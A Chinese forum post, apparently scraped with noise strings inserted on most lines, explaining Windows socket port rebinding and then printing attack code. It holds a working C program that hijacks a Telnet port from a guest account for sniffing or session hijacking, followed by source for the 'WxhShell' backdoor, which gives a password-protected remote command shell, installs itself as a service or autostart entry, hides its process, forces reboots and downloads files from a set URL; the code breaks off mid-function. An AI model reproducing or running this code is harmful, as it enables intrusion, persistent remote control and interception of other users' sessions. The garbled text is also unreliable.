在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9YwS"~Q =w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^>h2.AJ 21~~ =+)X saddr.sin_family = AF_INET;
.1[pO_ I!~3xZ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
QaAMiCZFR XK
yW bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(FOJHjtkM inyS 4tb 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?MJ5GVeH 1<wolTf 这意味着什么?意味着可以进行如下的攻击:
L$; gf_L d)v!U+-|' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2*0n#"
L 'V*8'? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~tqNxlA dkOERVRe 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
w6'8L s o6S`7uwJ*/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
kk/vgte-)e +/Vzw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
BWsD~Ft $)7Af6xD 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|bjLmGb CdiL{zH\3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[.4D<}e V(n3W=#kky #include
9q"G g? #include
h>"Z=y #include
cP8@'l@! #include
Ky'\t7p u DWORD WINAPI ClientThread(LPVOID lpParam);
1)!]zV int main()
GoG_4:^#h {
L9 H.DNA WORD wVersionRequested;
]w9syz8X DWORD ret;
s_`y"'^ WSADATA wsaData;
KnYHjJa BOOL val;
z';h5GNd>z SOCKADDR_IN saddr;
$dHD SOCKADDR_IN scaddr;
w7_2JS int err;
)"y]_} SOCKET s;
A;Uw
b SOCKET sc;
A*3R@G*h int caddsize;
8hvh
xp HANDLE mt;
X[o"9O|< DWORD tid;
ps=QVX)YP wVersionRequested = MAKEWORD( 2, 2 );
g?!;04 err = WSAStartup( wVersionRequested, &wsaData );
7>|p_o`e if ( err != 0 ) {
bl;v^HR0) printf("error!WSAStartup failed!\n");
ZQrgYeQl" return -1;
O}"fhMk }
4(\7Or('' saddr.sin_family = AF_INET;
?[
vC?P
*wJ'Z4_5F //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ij1g2^],4 |}K7Q saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`H\NJ, saddr.sin_port = htons(23);
\fD[Ej if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
r#K" d {
58_aI?~>> printf("error!socket failed!\n");
{,i='!WIm return -1;
aV?r %'~Z }
!<MW*7P= val = TRUE;
iMOf];O) //SO_REUSEADDR选项就是可以实现端口重绑定的
TZk.h8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fT_swhIO {
Qmn'G4#@E printf("error!setsockopt failed!\n");
E{6X-C[)v return -1;
q"pnFK9/L }
Nh\y@\F> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
g].hL //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=;A~$[ g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~b{j`T rzgzX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Zu %oIk {
@?"t&h ret=GetLastError();
RlTVx: printf("error!bind failed!\n");
)ur&Mnmm return -1;
X+XbIbUuL }
MBH/,Yd listen(s,2);
&b&o];a while(1)
$~*d. {
L\asrdL?= caddsize = sizeof(scaddr);
MHKB:t]hA //接受连接请求
Gu9x4p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)d-{# if(sc!=INVALID_SOCKET)
EM.rO/qcW {
uDi#a~m@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%uLyL4*L(p if(mt==NULL)
prg8Iq'w {
A)q,VSR8 printf("Thread Creat Failed!\n");
jj 9eFB break;
"t"&6\ }
~j2=hkS
}
H@WQO]PA CloseHandle(mt);
QabYkL5@ }
uP[:P?,t closesocket(s);
XD\Z$\UJE WSACleanup();
L #l|}u return 0;
? /Z
hu }
4\yKd8I DWORD WINAPI ClientThread(LPVOID lpParam)
wY j~ (P" {
E={W^k!Vz: SOCKET ss = (SOCKET)lpParam;
:WBl0`kW]4 SOCKET sc;
f*SAbDE unsigned char buf[4096];
/1q] D8 SOCKADDR_IN saddr;
kpN'H_ . long num;
.U !;fJ9 DWORD val;
3
e9fziQ~ DWORD ret;
ba //如果是隐藏端口应用的话,可以在此处加一些判断
d\ Z#XzI8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&Wup
7 saddr.sin_family = AF_INET;
ZVek`Cc2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
dO[w3\~ saddr.sin_port = htons(23);
'u2Qq"d+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Sm%MoFf {
?k:i3$ printf("error!socket failed!\n");
QYL
'; return -1;
C&'Y@GE5 }
{XNu4d9w( val = 100;
8Cr?0Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3It'!R8 $ {
jP";ll|c ret = GetLastError();
XDJQO /qN return -1;
qlg~W/ }
{9Op{bZ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G{ $Zg {
%R{clbbbn ret = GetLastError();
]X)EO49 return -1;
^$y_~z3o#7 }
^OQ#N z if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Do|`wpR {
8Q1){M9' printf("error!socket connect failed!\n");
Pne[>}_l/ closesocket(sc);
rLcQG closesocket(ss);
Pz"!8b-MN return -1;
_dEf@== }
9D_4]'KG while(1)
2aN {
S-h1p` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
+:d))r=n //如果是嗅探内容的话,可以再此处进行内容分析和记录
Om0S^4y]x //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{hM*h(W~3 num = recv(ss,buf,4096,0);
;.h5; `& if(num>0)
R@0ELxzA send(sc,buf,num,0);
2g^Kf,m else if(num==0)
E}qeh"sJt break;
pz^"~0o5 num = recv(sc,buf,4096,0);
viBf". if(num>0)
>}/"gx send(ss,buf,num,0);
um&e.V)N else if(num==0)
B%9[ break;
w|PZSOJ }
4f"a/(>* closesocket(ss);
]IJ.} closesocket(sc);
b,G+=&6u return 0 ;
hk&p+NV! }
6|LDb"Rvy N_r*Ig >|7&hj$ ==========================================================
zT~ GBC-IX bah5 f 下边附上一个代码,,WXhSHELL
Pwz^{*u] n@g[VR2t ==========================================================
W^&t8d2 {\ziy4<II #include "stdafx.h"
fp4 d?3G Q;5'I3w #include <stdio.h>
v(4C?vxhG #include <string.h>
( L RX #include <windows.h>
K"b vUH #include <winsock2.h>
Hv0sl+ #include <winsvc.h>
p9_45u`u2 #include <urlmon.h>
<z)MV
oa b)w3
G%Xx #pragma comment (lib, "Ws2_32.lib")
k=bv!T_o #pragma comment (lib, "urlmon.lib")
S,S_BB<Y[b 7!JoP?! #define MAX_USER 100 // 最大客户端连接数
6aQ{EO-]'= #define BUF_SOCK 200 // sock buffer
jO:<"l^+u #define KEY_BUFF 255 // 输入 buffer
}+ #ag:M ,-DE;l^Q= #define REBOOT 0 // 重启
JEBo!9 #define SHUTDOWN 1 // 关机
*vsOL4I% B?Y%y@. #define DEF_PORT 5000 // 监听端口
o(~JZik P!YT{} #define REG_LEN 16 // 注册表键长度
w6Tb<ja #define SVC_LEN 80 // NT服务名长度
ieS5*@^k q}BQu@'H // 从dll定义API
.FHOOw1r= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
",8h>eEWK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#0Oqw=F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V|? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
F<-Pbtw ;N"XW=F4e // wxhshell配置信息
S%xGXmZ struct WSCFG {
[TO:-8$. int ws_port; // 监听端口
3y 3
U`Mo char ws_passstr[REG_LEN]; // 口令
3+ i(fg_ int ws_autoins; // 安装标记, 1=yes 0=no
Z/x<U.B char ws_regname[REG_LEN]; // 注册表键名
*bRH,u char ws_svcname[REG_LEN]; // 服务名
"v*RY "5# char ws_svcdisp[SVC_LEN]; // 服务显示名
EUna_ 4= char ws_svcdesc[SVC_LEN]; // 服务描述信息
&<^@/osi char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!>S'eXt int ws_downexe; // 下载执行标记, 1=yes 0=no
`&9#!T. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<"[}8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
J;_JHlK ]r"{G*1Q
9 };
RXx
+rdF0 [>_(q|A6+ // default Wxhshell configuration
)If[pw@j struct WSCFG wscfg={DEF_PORT,
R?&S]?H "xuhuanlingzhe",
6/#= dv 1,
Q}fAAZ&7h "Wxhshell",
q}\\p "Wxhshell",
GF/p|I D "WxhShell Service",
\v-> ' "Wrsky Windows CmdShell Service",
zRE7 w: "Please Input Your Password: ",
Ha+FH8rZ 1,
D *LZ_ "
http://www.wrsky.com/wxhshell.exe",
E!Fy2h>[Z "Wxhshell.exe"
]&G5/]f };
<
m9O0 y:|7.f // 消息定义模块
Bxa],inuZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?4lAL char *msg_ws_prompt="\n\r? for help\n\r#>";
nM0nQ{6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
G0]n4"~+? char *msg_ws_ext="\n\rExit.";
10}Zoq|)n char *msg_ws_end="\n\rQuit.";
*!s4#|h char *msg_ws_boot="\n\rReboot...";
z~VA#8> char *msg_ws_poff="\n\rShutdown...";
-O_UpjR; char *msg_ws_down="\n\rSave to ";
}lxvXVc{I
Bnxzy
n char *msg_ws_err="\n\rErr!";
ReK@~#hLY char *msg_ws_ok="\n\rOK!";
;D^)^~7dh lP9I\Ge& char ExeFile[MAX_PATH];
IYQYW.`ly int nUser = 0;
Dh9-~}sW' HANDLE handles[MAX_USER];
l[fNftT- int OsIsNt;
%MjPQ yh0|f94m SERVICE_STATUS serviceStatus;
k=~?!+p7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
\W(p )M @`_j't, // 函数声明
N0qC/da1 int Install(void);
H|TzD"2N int Uninstall(void);
6=@n
b3D% int DownloadFile(char *sURL, SOCKET wsh);
Uv+pdRXn int Boot(int flag);
y2qESAZ%k} void HideProc(void);
SY$%!!
@R int GetOsVer(void);
.e"jnP~ int Wxhshell(SOCKET wsl);
U|Jo[4A void TalkWithClient(void *cs);
6/-!oo int CmdShell(SOCKET sock);
{!/y@/NK2 int StartFromService(void);
V.-?aXQ * int StartWxhshell(LPSTR lpCmdLine);
!}3`Pl.(r pJv? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
C`jP8"- VOID WINAPI NTServiceHandler( DWORD fdwControl );
i
Lm1l ]Z84w!z // 数据结构和表定义
}DM2#E`_ SERVICE_TABLE_ENTRY DispatchTable[] =
H]!y |p {
9nG] .@H {wscfg.ws_svcname, NTServiceMain},
$>h#|?*? {NULL, NULL}
gOWyV@ };
mhVoz0%1X @"/}Al // 自我安装
gP`!MlY@ int Install(void)
Q./lX: {
$@Ay0GEI" char svExeFile[MAX_PATH];
fgp7 |;Y HKEY key;
qA~D*= strcpy(svExeFile,ExeFile);
1tr>D:c\ XeB>V.<y // 如果是win9x系统,修改注册表设为自启动
A5`7o9 if(!OsIsNt) {
v|/3Mi9mz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!:n),sFv45 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8;!Eqyt RegCloseKey(key);
U.)G#B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!}PFi T^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
GY",AL8f RegCloseKey(key);
kIfb! return 0;
>C-_Zv<!T\ }
c==Oio(" }
*3ne(c }
8x9kF]= else {
)>Q 2G/@ o5D" <-=> // 如果是NT以上系统,安装为系统服务
H4m6H)KOG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
23f[i<4e if (schSCManager!=0)
PPqTmx5S {
X<m%EXvV SC_HANDLE schService = CreateService
xk*3,J6BK (
!Q(xOc9>Ug schSCManager,
h/fCCfO, wscfg.ws_svcname,
kr*c?^b wscfg.ws_svcdisp,
QB.'8B_ SERVICE_ALL_ACCESS,
lQsQRp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
B![5+ SERVICE_AUTO_START,
'iVo,m[yKU SERVICE_ERROR_NORMAL,
ommKf[h%i svExeFile,
*QG3 Jz NULL,
x7@WWFF> NULL,
r~}}o o4K NULL,
&CL|q+- NULL,
ZM vTDH! NULL
I1myu Z );
_M&.kha if (schService!=0)
bg ,}J/ {
ii;WmE& CloseServiceHandle(schService);
|tg?b&QR CloseServiceHandle(schSCManager);
|x6mkSf]ke strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
8Wj=|Ow-q strcat(svExeFile,wscfg.ws_svcname);
fMQ*2zGu95 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}m9LyT=~$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Ke ?uE RegCloseKey(key);
t>wxK
, return 0;
@"I#b99 }
BY0|exW }
YSV,q@I&1 CloseServiceHandle(schSCManager);
?&"^\p }
X}*o[;2G }
5|R2cc|"9 q`aY.dD=O return 1;
y@M}T{,/ }
Q@2tT&eL _=L;`~=C9e // 自我卸载
\u]CD}/ int Uninstall(void)
(oXN >^-D {
VM]IL%AN HKEY key;
&{ {DS cY2-T#rL if(!OsIsNt) {
Z% ;4Ed if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>'6GcnEb4. RegDeleteValue(key,wscfg.ws_regname);
7I(t,AKJ RegCloseKey(key);
-m160k3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
aE BP9RX}z RegDeleteValue(key,wscfg.ws_regname);
eh(Q^E;* RegCloseKey(key);
iw
fp' return 0;
YC]YX H }
}%YHm9) }
4VNb`!e }
grQnV' q else {
Q$)|/Y)) $a\Uv0:xRx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<}
y p if (schSCManager!=0)
VK'T[5e {
b|dCEmFt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O4/n!HOb if (schService!=0)
.gN$N=7< {
VxN64;|= if(DeleteService(schService)!=0) {
u`pROd/ R5 CloseServiceHandle(schService);
8A:^K:Q CloseServiceHandle(schSCManager);
e5ru:#P.p return 0;
b#g
{`E }
P!y`$Ky& CloseServiceHandle(schService);
>C3NtGvy }
atf%7}2 CloseServiceHandle(schSCManager);
WkaR{{nM }
=u8D!AxT }
fT3*>^Uv v'Vt
.m&9& return 1;
T@|l@xm~L }
;:Z=%R$wJ .H^P2tp // 从指定url下载文件
`.'i V[fr int DownloadFile(char *sURL, SOCKET wsh)
lV<Tsk' {
20VVOnDY HRESULT hr;
yIIETE char seps[]= "/";
oM<!I0"gC+ char *token;
A*;?U2 char *file;
cVay=5]. char myURL[MAX_PATH];
-@L's{J{M char myFILE[MAX_PATH];
?Hi}nsw sc8DY!|OYN strcpy(myURL,sURL);
CofH}- token=strtok(myURL,seps);
ns#~}2"d while(token!=NULL)
3}4p_}f/[4 {
zq;DIWPIoJ file=token;
&G/|lv>j token=strtok(NULL,seps);
ole|J }
y?#9>S >:\
Znta#G0 GetCurrentDirectory(MAX_PATH,myFILE);
^IGyuj0]jG strcat(myFILE, "\\");
%X9b=%'+ strcat(myFILE, file);
NQC3!=pQ}Y send(wsh,myFILE,strlen(myFILE),0);
j`R<90~/ send(wsh,"...",3,0);
C.>
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
i<m$#6<Z if(hr==S_OK)
+~d1;0l| return 0;
|qlS6Aln else
x=5P+_ return 1;
e8WEz
4r_ "#pzZ)Zh }
>+
]R4 f]8!DXEA // 系统电源模块
sS2_-X[_ int Boot(int flag)
uuSR%KK]| {
1OJ*wI* HANDLE hToken;
O4EIE)c TOKEN_PRIVILEGES tkp;
a*Ss -y RzS|dGNQE if(OsIsNt) {
bar0{!Y" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5g``30:o LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
WRD
A ` tkp.PrivilegeCount = 1;
[5Fd P0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
>?5xDbRj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
fw' r. if(flag==REBOOT) {
MBB5wj if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
r219M)D? return 0;
s>|Z7[* }
0e+W/Tq else {
>5;N64]!) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,?g=U8y| return 0;
:N@U[Wx0A }
TZ_rsj/t }
~BZXt7DE else {
j z~[5m}J if(flag==REBOOT) {
53
@oP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Vkr`17`G return 0;
'{[!j6wt\ }
y" ^yYO else {
Di*]ab if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
|gnAqkW0 return 0;
V+lRi"m?| }
w[(n> }
{-@~Q.&}v NZLXN return 1;
l'U1
01M>F }
AnNPTi Y4#y34We // win9x进程隐藏模块
&<au/^F void HideProc(void)
_(C^[ :s {
)Zas
x6` vsKl#R B HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
(I4y[jnD if ( hKernel != NULL )
v f`9*x F {
+YTx
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&Y1`?1;nw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
uBmxh%]C~ FreeLibrary(hKernel);
bV@7mmz:X+ }
a3q\<"| 0G5'Y;8 return;
x>%joKY[ }
E0QPE5_ @(-yrU // 获取操作系统版本
+?;j&p int GetOsVer(void)
pOMgEEhfS {
_J,xT OSVERSIONINFO winfo;
flG=9~qcGQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{FWyu5. GetVersionEx(&winfo);
p*|ah%F6N if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
vMhYpt?7\ return 1;
0q{[\51*
else
IAI(Ix return 0;
Ikj=`,a2B }
iZQ\
m0Zc b,dr+RB // 客户端句柄模块
~%s}S int Wxhshell(SOCKET wsl)
QY@u}&m%o {
LM:)j:gS6 SOCKET wsh;
+Hj/0pp struct sockaddr_in client;
jYWw.g< DWORD myID;
xO7Yt
l {"m0)G,G while(nUser<MAX_USER)
p1D()- {
9?
2 int nSize=sizeof(client);
lUv =7"
[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
xW>ySEf if(wsh==INVALID_SOCKET) return 1;
lkA^\+Ct Cxm6TO`-; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
xuUx4,Z if(handles[nUser]==0)
S[mM4et| closesocket(wsh);
vZ@g@zB4o0 else
q#NR32byF nUser++;
aG!
*WHt }
Ky kSFB WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
xc;DdK=1X M)JADX return 0;
+I52EXo }
rB%y6P B |SQ|qbe= // 关闭 socket
H4:ZTl_$ void CloseIt(SOCKET wsh)
JrDHRIkgm {
B3mS] closesocket(wsh);
Uk,g> LG nUser--;
LkBZlh_ ExitThread(0);
#~k[ 6YR 0 }
\iru7'S /^:2<y8Ha // 客户端请求句柄
Ox qguT, void TalkWithClient(void *cs)
\dcdw*v@ {
kUa)smh 5M:D?9E+ SOCKET wsh=(SOCKET)cs;
ES}. xZ#~ char pwd[SVC_LEN];
\}JrFc%O char cmd[KEY_BUFF];
#Qh>z%Mn^3 char chr[1];
b9Y_!Qe int i,j;
- $JO8'TP >w.'KR0L while (nUser < MAX_USER) {
`T"rG}c c@R; /m:R if(wscfg.ws_passstr) {
*HE^1IEl if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,l HLH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{)@D`{$ //ZeroMemory(pwd,KEY_BUFF);
m`6VKp{YD i=0;
[i7YVwG4 while(i<SVC_LEN) {
uWjU OJEe s;Y<BD // 设置超时
lY'N4x7n fd_set FdRead;
rk|@B{CA; struct timeval TimeOut;
Zx{96G+1 FD_ZERO(&FdRead);
bik*ZC?E FD_SET(wsh,&FdRead);
>(3\kiYS TimeOut.tv_sec=8;
T8XY fcc*h TimeOut.tv_usec=0;
U
O<:.6" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
g97]Y1g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r:&|vP xAhxD|4_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
sJZ!sznn pwd
=chr[0]; 8TWTbQ
if(chr[0]==0xd || chr[0]==0xa) { CQ^3v09N;~
pwd=0; ^jD1vUL 2:
break; E0 l_--
} \+nGOvM
i++; 3`F) AWzdr
} `rb>K
4(cJ^]wb ^
// 如果是非法用户,关闭 socket Z4hLdHo_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B4g8
~f
} Br5o7(AE
4w$_]ke
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (\,BxvhG=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); osHCg
}Hcx=}j
while(1) { ^6;V}2>v}
3l4NC03I&
ZeroMemory(cmd,KEY_BUFF); Tu m_aI
B_^]C9C|
// 自动支持客户端 telnet标准 bw4oLu?
j=0; UiQEJXwnz
while(j<KEY_BUFF) { nJZ6?
V
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H(-4:BD?
cmd[j]=chr[0]; Ne6}oQy(S`
if(chr[0]==0xa || chr[0]==0xd) { 60}! LmL
cmd[j]=0; 9$1)k;ChP/
break; 9em*r9-
} {1-V]h.<J
j++; iwF9[wAft
} iL]'y\?lv
6'C2SihYp
// 下载文件 Y[
zZw~yx
if(strstr(cmd,"http://")) { r&3pM2Da}
send(wsh,msg_ws_down,strlen(msg_ws_down),0); r"{<%e
if(DownloadFile(cmd,wsh)) pyZ9OA!PD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o[\HOe~;
else p9qKLJ*.C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $m| V :/
} v;EQ, NL
else { <a^Oj LLU
BR5BJX
switch(cmd[0]) { >mq,}!n
x/fX`y|(}*
// 帮助 ;_?MX/w|&
case '?': { !>$4]FkV
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {+.r5py
break; |L6&Gf]#5
} S :bC[}
// 安装
aelO3'UN
case 'i': { _5Bcwa/
if(Install()) c64v,Hj9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,'fxIO
else )_7>nuQ6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u1^wDc*xg
break; {QAv~S>4
} mpw~hW0-
// 卸载 ZWUP^V
case 'r': { 3gZ8.8q3
if(Uninstall()) 3_$w|ET
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jXg
else An`3Ex[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IE2"rQ T
break; .)tSg
} XMIbUbUk-
// 显示 wxhshell 所在路径 f9u^ R=Ff[
case 'p': { hT g<*
char svExeFile[MAX_PATH]; `#P$ ]:
strcpy(svExeFile,"\n\r"); S>Yj@L
strcat(svExeFile,ExeFile); S$q=;"
send(wsh,svExeFile,strlen(svExeFile),0); 'tgKe!-@
break; hqvE!Of
} _fk#<
// 重启
!YL..fb
case 'b': { LNYKm~cN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :mppv8bh
if(Boot(REBOOT)) -Z-f1.Dm5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )u%je~Vw
else { pKUP2m`MW
closesocket(wsh); K5>p89mZ
ExitThread(0); 2}6%qgnT-
} l |2D/K5
break; SLL3v,P(7
} /1UOT\8U
// 关机 \Q?ip&R
case 'd': { rqPo)AL
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d*8 $>GA
if(Boot(SHUTDOWN)) `r"+644
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JuR"J1MY
else { o G*5f
closesocket(wsh); G3P&{.v
ExitThread(0); 6fo3:P*O
} "I6P=]|b
break; /*FH:T<V
} uA tV".
// 获取shell d[^KL;b?6
case 's': { z4%uN|V
CmdShell(wsh); C$h<Wt=<
closesocket(wsh); yOU(2"8p
ExitThread(0); 2jJmE&)7,
break; s9;#!7ms
} 6 gL=u-2
// 退出 Qj{8?lew
case 'x': { |~`as(@Ih
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +d}E&=p_
CloseIt(wsh); >^Q&nkB"B
break; O|IG_RL]
} BF*kb2"GZ6
// 离开 $
i)bq6
case 'q': { ^ 2GHe<Y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2,2Z`X
closesocket(wsh); C&LBr|
WSACleanup(); +Mewo
exit(1); P9Yy9_a|x
break; }"vW4
} vy2Q g
} Y`7~Am/r;&
} j`'`)3f
z<sg0K8z63
// 提示信息 QZp6YSz.4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); : JzI>/
} -C-?`R
} n9w9JXp;!
`+'rib5
return; S1Z2_V
} kE>0M9EdH
o./.Q9e7
// shell模块句柄 +y7;81ND
int CmdShell(SOCKET sock) .;y#
{ }jt?|dl1
STARTUPINFO si; yzw mT
ZeroMemory(&si,sizeof(si)); ]xC#rwHUC
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ac2(O6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q5h*`7f
PROCESS_INFORMATION ProcessInfo; >z;[2n'
char cmdline[]="cmd"; AqKz$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =ph&sn$;L
return 0; S=R7`a<.5
} +;$oJJ
](tx<3h
// 自身启动模式 {2/LRPT
int StartFromService(void) <DKS+R
{ 5$DHn]
typedef struct q"O.Cbk
{ />¬$>
DWORD ExitStatus; `p;eIt
DWORD PebBaseAddress; M;cO0UIwO
